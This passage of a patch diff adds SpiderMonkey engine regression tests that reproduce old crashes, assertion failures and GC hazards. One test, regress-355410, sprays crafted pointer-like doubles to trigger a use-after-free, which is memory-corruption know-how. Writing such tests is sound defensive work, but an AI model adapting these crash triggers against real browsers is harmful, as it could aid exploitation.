+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: setter is not defined';
+ try
+ {
+ eval("setter/*\n*/;");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/;")');
+
+ try
+ {
+ eval("setter/*\n*/g");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/g")');
+
+ try
+ {
+ eval("setter/*\n*/ ;");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/ ;")');
+
+ try
+ {
+ eval("setter/*\n*/ g");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/ g")');
+}
diff --git a/js/src/tests/non262/extensions/regress-352604.js b/js/src/tests/non262/extensions/regress-352604.js
new file mode 100644
index 0000000000..106c04e97b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-352604.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352604;
+var summary = 'Do not assert: !OBJ_GET_PROTO(cx, ctor)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() {}
+ delete Function;
+ var g = function () {};
+
+ expect = f.__proto__;
+ actual = g.__proto__;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-353116.js b/js/src/tests/non262/extensions/regress-353116.js
new file mode 100644
index 0000000000..cdb19bff32
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-353116.js
@@ -0,0 +1,75 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353116;
+var summary = 'Improve errors messages for null, undefined properties';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: (undefined has no properties|can't access property "y" of undefined)/;
+ actual = 'No Error';
+
+ try
+ {
+ undefined.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: (null has no properties|can't access property "y" of null)/;
+ actual = 'No Error';
+
+ try
+ {
+ null.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: .*x is undefined/;
+ actual = 'No Error';
+
+ try
+ {
+ x = undefined;
+ x.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: .*x is null/;
+ actual = 'No Error';
+
+ try
+ {
+ x = null;
+ x.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-353214-02.js b/js/src/tests/non262/extensions/regress-353214-02.js
new file mode 100644
index 0000000000..9a6317a066
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-353214-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353214;
+var summary = 'bug 353214';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function ([x]) { let y; }
+ expect = 'function ([x]) { let y; }';
+ actual = f + '';
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-354297.js b/js/src/tests/non262/extensions/regress-354297.js
new file mode 100644
index 0000000000..a0cdbdc6aa
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-354297.js
@@ -0,0 +1,27 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354297;
+var summary = 'getter/setter can be on index';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test requires GC_MARK_DEBUG');
+
+ var o = {}; o.__defineGetter__(1, Math.sin); gc()
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355052-01.js b/js/src/tests/non262/extensions/regress-355052-01.js
new file mode 100644
index 0000000000..73bcb5125a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355052-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ ( {valueOf: gc} - [function(){}].__iterator__ )();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355052-02.js b/js/src/tests/non262/extensions/regress-355052-02.js
new file mode 100644
index 0000000000..a6e0a9816e
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355052-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ ( {valueOf: gc} - [].a )();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355052-03.js b/js/src/tests/non262/extensions/regress-355052-03.js
new file mode 100644
index 0000000000..6393a7441a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355052-03.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ var obj = {valueOf: gc };
+
+ function f() {
+ ( obj * [].a )();
+ }
+
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355410.js b/js/src/tests/non262/extensions/regress-355410.js
new file mode 100644
index 0000000000..38eb133964
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355410.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355410;
+var summary = 'GC hazard in for([k,v] in o){...}';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var address = 0xbadf00d0, basket = { food: {} };
+ var AP = Array.prototype, rooter = {};
+ AP.__defineGetter__(0, function() { return this[-1]; });
+ AP.__defineSetter__(0, function(v) {
+ basket.food = null;
+ for(var i = 0; i < 8 * 1024; i++) {
+ rooter[i] = 0x10000000000000 + address; // IEEE754!
+ }
+ return this[-1] = v;
+ });
+ for(var [key, value] in basket) { value.trigger; }
+
+ delete Array.prototype[0];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355497.js b/js/src/tests/non262/extensions/regress-355497.js
new file mode 100644
index 0000000000..efaf280d66
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355497.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355497;
+var summary = 'Do not overflow stack with Array.slice, getter';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'InternalError: too much recursion';
+
+ try
+ {
+ var a = { length: 1 };
+ a.__defineGetter__(0, [].slice);
+ a[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ var b = { length: 1 };
+ b.__defineGetter__(0, function () { return Array.prototype.slice.call(b); });
+ b[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try
+ {
+ var c = [];
+ c.__defineSetter__(0, c.unshift);
+ c[0] = 1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 3');
+}
diff --git a/js/src/tests/non262/extensions/regress-363040-01.js b/js/src/tests/non262/extensions/regress-363040-01.js
new file mode 100644
index 0000000000..f8a382d3be
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-363040-01.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in continued fraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Print x as a continued fraction in compact abbreviated notation and return
+// the convergent [n, d] such that x - (n / d) <= epsilon.
+ function contfrac(x, epsilon) {
+ let i = Math.floor(x);
+ let a = [i];
+ x = x - i;
+ let maxerr = x;
+ while (maxerr > epsilon) {
+ x = 1 / x;
+ i = Math.floor(x);
+ a.push(i);
+ x = x - i;
+ maxerr = x * maxerr / i;
+ }
+ print(a);
+ a.push([1, 0]);
+ a.reverse();
+ return a.reduce(function (x, y) {return [x[0] * y + x[1], x[0]];});
+ }
+
+ if (!Array.prototype.reduce)
+ {
+ print('Test skipped. Array.prototype.reduce not implemented');
+ }
+ else
+ {
+// Show contfrac in action.
+ for (num of [Math.PI, Math.sqrt(2), 1 / (Math.sqrt(Math.E) - 1)]) {
+ print('Continued fractions for', num);
+ for (eps of [1e-2, 1e-3, 1e-5, 1e-7, 1e-10]) {
+ let frac = contfrac(num, eps);
+ let est = frac[0] / frac[1];
+ let err = num - est;
+ print(frac, est, err);
+ }
+ print();
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-363040-02.js b/js/src/tests/non262/extensions/regress-363040-02.js
new file mode 100644
index 0000000000..8309d8c6be
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-363040-02.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in continued fraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// Print x as a continued fraction in compact abbreviated notation and return
+// the convergent [n, d] such that x - (n / d) <= epsilon.
+ function contfrac(x, epsilon) {
+ let i = Math.floor(x);
+ let a = [i];
+ x = x - i;
+ let maxerr = x;
+ while (maxerr > epsilon) {
+ x = 1 / x;
+ i = Math.floor(x);
+ a.push(i);
+ x = x - i;
+ maxerr = x * maxerr / i;
+ }
+ print(a);
+ return a.reduceRight(function (x, y) {return [x[0] * y + x[1], x[0]];}, [1, 0]);
+ }
+
+ if (!Array.prototype.reduceRight)
+ {
+ print('Test skipped. Array.prototype.reduceRight not implemented');
+ }
+ else
+ {
+// Show contfrac in action on some interesting numbers.
+ for (num of [Math.PI, Math.sqrt(2), 1 / (Math.sqrt(Math.E) - 1)]) {
+ print('Continued fractions for', num);
+ for (eps of [1e-2, 1e-3, 1e-5, 1e-7, 1e-10]) {
+ let frac = contfrac(num, eps);
+ let est = frac[0] / frac[1];
+ let err = num - est;
+ print(frac, est, err);
+ }
+ print();
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-363258.js b/js/src/tests/non262/extensions/regress-363258.js
new file mode 100644
index 0000000000..fe01008aae
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-363258.js
@@ -0,0 +1,45 @@
+// |reftest| random -- bug 524788
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363258;
+var summary = 'Timer resolution';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = 0;
+ var stop = 0;
+ var i;
+ var limit = 0;
+ var incr = 10;
+ var resolution = 5;
+
+ while (stop - start == 0)
+ {
+ limit += incr;
+ start = Date.now();
+ for (i = 0; i < limit; i++) {}
+ stop = Date.now();
+ }
+
+ print('limit=' + limit + ', resolution=' + resolution + ', time=' + (stop - start));
+
+ expect = true;
+ actual = (stop - start <= resolution);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-363988.js b/js/src/tests/non262/extensions/regress-363988.js
new file mode 100644
index 0000000000..372bd92914
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-363988.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363988;
+var summary = 'Do not crash at JS::GetPrivate with large script';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function crash() {
+ var town = new Array;
+
+ for (var i = 0; i < 0x4001; ++i) {
+ var si = String(i);
+ town[i] = [ si, "x" + si, "y" + si, "z" + si ];
+ }
+
+ return "town=" + JSON.stringify(town) + ";function f() {}";
+ }
+
+ if (typeof document != "undefined")
+ {
+ // this is required to reproduce the crash.
+ document.write("<script>", crash(), "<\/script>");
+ }
+ else
+ {
+ crash();
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-365527.js b/js/src/tests/non262/extensions/regress-365527.js
new file mode 100644
index 0000000000..29357b6266
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-365527.js
@@ -0,0 +1,63 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365527;
+var summary = 'JSOP_ARGUMENTS should set obj register';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ counter = 500*1000;
+
+ var obj;
+
+ function getter()
+ {
+ obj = { get x() {
+ return getter();
+ }, counter: counter};
+ return obj;
+ }
+
+
+ var x;
+
+ function g()
+ {
+ x += this.counter;
+ if (--counter == 0)
+ throw "Done";
+ }
+
+
+ function f()
+ {
+ arguments=g;
+ try {
+ for (;;) {
+ arguments();
+ obj.x;
+ }
+ } catch (e) {
+ }
+ }
+
+
+ getter();
+ f();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-365692.js b/js/src/tests/non262/extensions/regress-365692.js
new file mode 100644
index 0000000000..106b8071a5
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-365692.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365692;
+var summary = 'getter/setter bytecodes should support atoms over 64k';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function g()
+{
+ return 10;
+}
+
+try
+{
+ var N = 100*1000;
+ var src = 'var x = ["';
+ var array = Array(N);
+ for (var i = 0; i != N; ++i)
+ array[i] = i;
+ src += array.join('","')+'"]; x.a getter = g; return x.a;';
+ var f = Function(src);
+ if (f() != 10)
+ throw "Unexpected result";
+}
+catch(ex)
+{
+ if (ex == "Unexpected result")
+ {
+ actual = ex;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-365869.js b/js/src/tests/non262/extensions/regress-365869.js
new file mode 100644
index 0000000000..6ec88e7970
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-365869.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365869;
+var summary = 'strict warning for object literal with duplicate propery names';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('test crash from bug 371292 Comment 9');
+
+ try
+ {
+ expect = "TypeError: can't redefine non-configurable property 5";
+ "012345".__defineSetter__(5, function(){});
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-366288.js b/js/src/tests/non262/extensions/regress-366288.js
new file mode 100644
index 0000000000..05f0d2565d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-366288.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366288;
+var summary = 'Do not assert !SPROP_HAS_STUB_GETTER with __defineSetter__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__defineSetter__("x", function(){});
+x = 3;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-366292.js b/js/src/tests/non262/extensions/regress-366292.js
new file mode 100644
index 0000000000..19879769cc
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-366292.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366292;
+var summary = '__defineSetter__ and JSPROP_SHARED regression';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'undefined';
+this.__defineSetter__("x", function(){});
+actual = String(x);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-366396.js b/js/src/tests/non262/extensions/regress-366396.js
new file mode 100644
index 0000000000..4369be821b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-366396.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366396;
+var summary = 'Do not assert !SPROP_HAS_STUB_GETTER on Setter with %=';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__defineSetter__("x", function() {}); x %= 5;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-366668-01.js b/js/src/tests/non262/extensions/regress-366668-01.js
new file mode 100644
index 0000000000..e4d8db6168
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-366668-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366668;
+var summary = 'decompilation of "for (let x in x.p)" ';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ f = function() { for(let x in x.p) { } };
+ expect = 'function() { for(let x in x.p) { } }';
+ actual = f + '';
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367501-01.js b/js/src/tests/non262/extensions/regress-367501-01.js
new file mode 100644
index 0000000000..7446c13999
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367501-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = 'undefined';
+ var a = { set x(v) {} };
+ actual = a.x + '';
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367501-02.js b/js/src/tests/non262/extensions/regress-367501-02.js
new file mode 100644
index 0000000000..033ef777e7
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367501-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = 'undefined';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 92169 - 3; ++i) a[i] = 1;
+ actual = a.x + '';
+ actual = a.x + '';
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367501-03.js b/js/src/tests/non262/extensions/regress-367501-03.js
new file mode 100644
index 0000000000..c1f9433712
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367501-03.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = actual = 'No Crash';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 0x4bf20 - 3; ++i) a[i] = 1;
+ a.x;
+ a.x.x;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367501-04.js b/js/src/tests/non262/extensions/regress-367501-04.js
new file mode 100644
index 0000000000..e88b3e1fa6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367501-04.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = actual = 'No Crash';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 0x10050c - 3; ++i) a[i] = 1;
+ a.x;
+ typeof a.x;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367589.js b/js/src/tests/non262/extensions/regress-367589.js
new file mode 100644
index 0000000000..29aa1b61b6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367589.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
